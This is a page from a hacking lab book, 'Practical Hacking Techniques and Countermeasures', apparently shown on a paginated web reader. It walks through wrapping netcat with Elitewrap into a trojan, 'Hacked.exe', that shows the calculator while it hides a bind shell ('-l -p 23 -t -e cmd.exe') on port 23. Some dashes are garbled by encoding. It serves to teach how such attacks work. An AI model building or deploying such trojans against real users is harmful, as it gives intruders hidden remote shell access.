Prev | Current Page 200 | Next

Mark D. Spivey

"Practical Hacking Techniques and Countermeasures"


622

Practical Hacking Techniques and Countermeasures
Next is the secret part of our new program. We want to execute a netcat
listening session on the target computer. Enter
nc.exe
or you can enter the
full path to the
nc.exe
application.
Now we want to make sure this executable is hidden from the victim when
it executes, so we choose option
7
(execute only, hidden, asynchronously).
Redirection

623
The netcat application requires options to set it up to listen and to execute
a reverse shell. In this lab, we want netcat to start listening on port 23, and if
connected, to return a remote shell. This is done by typing
??“l ??“p 23 ??“t ??“e
cmd.exe
and pressing
Enter
.

The
??“l
option instructs netcat to start listening.

The
??“p 23
option tells netcat what port to listen on.

The
??“t option tells netcat to handle any Telnet negotiations.
 The ??“e cmd.exe option tells netcat to send anyone connecting to this port a shell.
Elitewrap will ask if you want to keep adding files. At this point we are
done, so just press Enter.
624  Practical Hacking Techniques and Countermeasures
Within the directory containing the Elitewrap application a new program
will now be displayed, called Hacked.exe. Double-click this program on the
target computer.
The Windows calculator will be displayed. The user can use this normally.
When the user closes the calculator, the fun begins because it executes our
netcat command as outlined above.


Pages:
188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212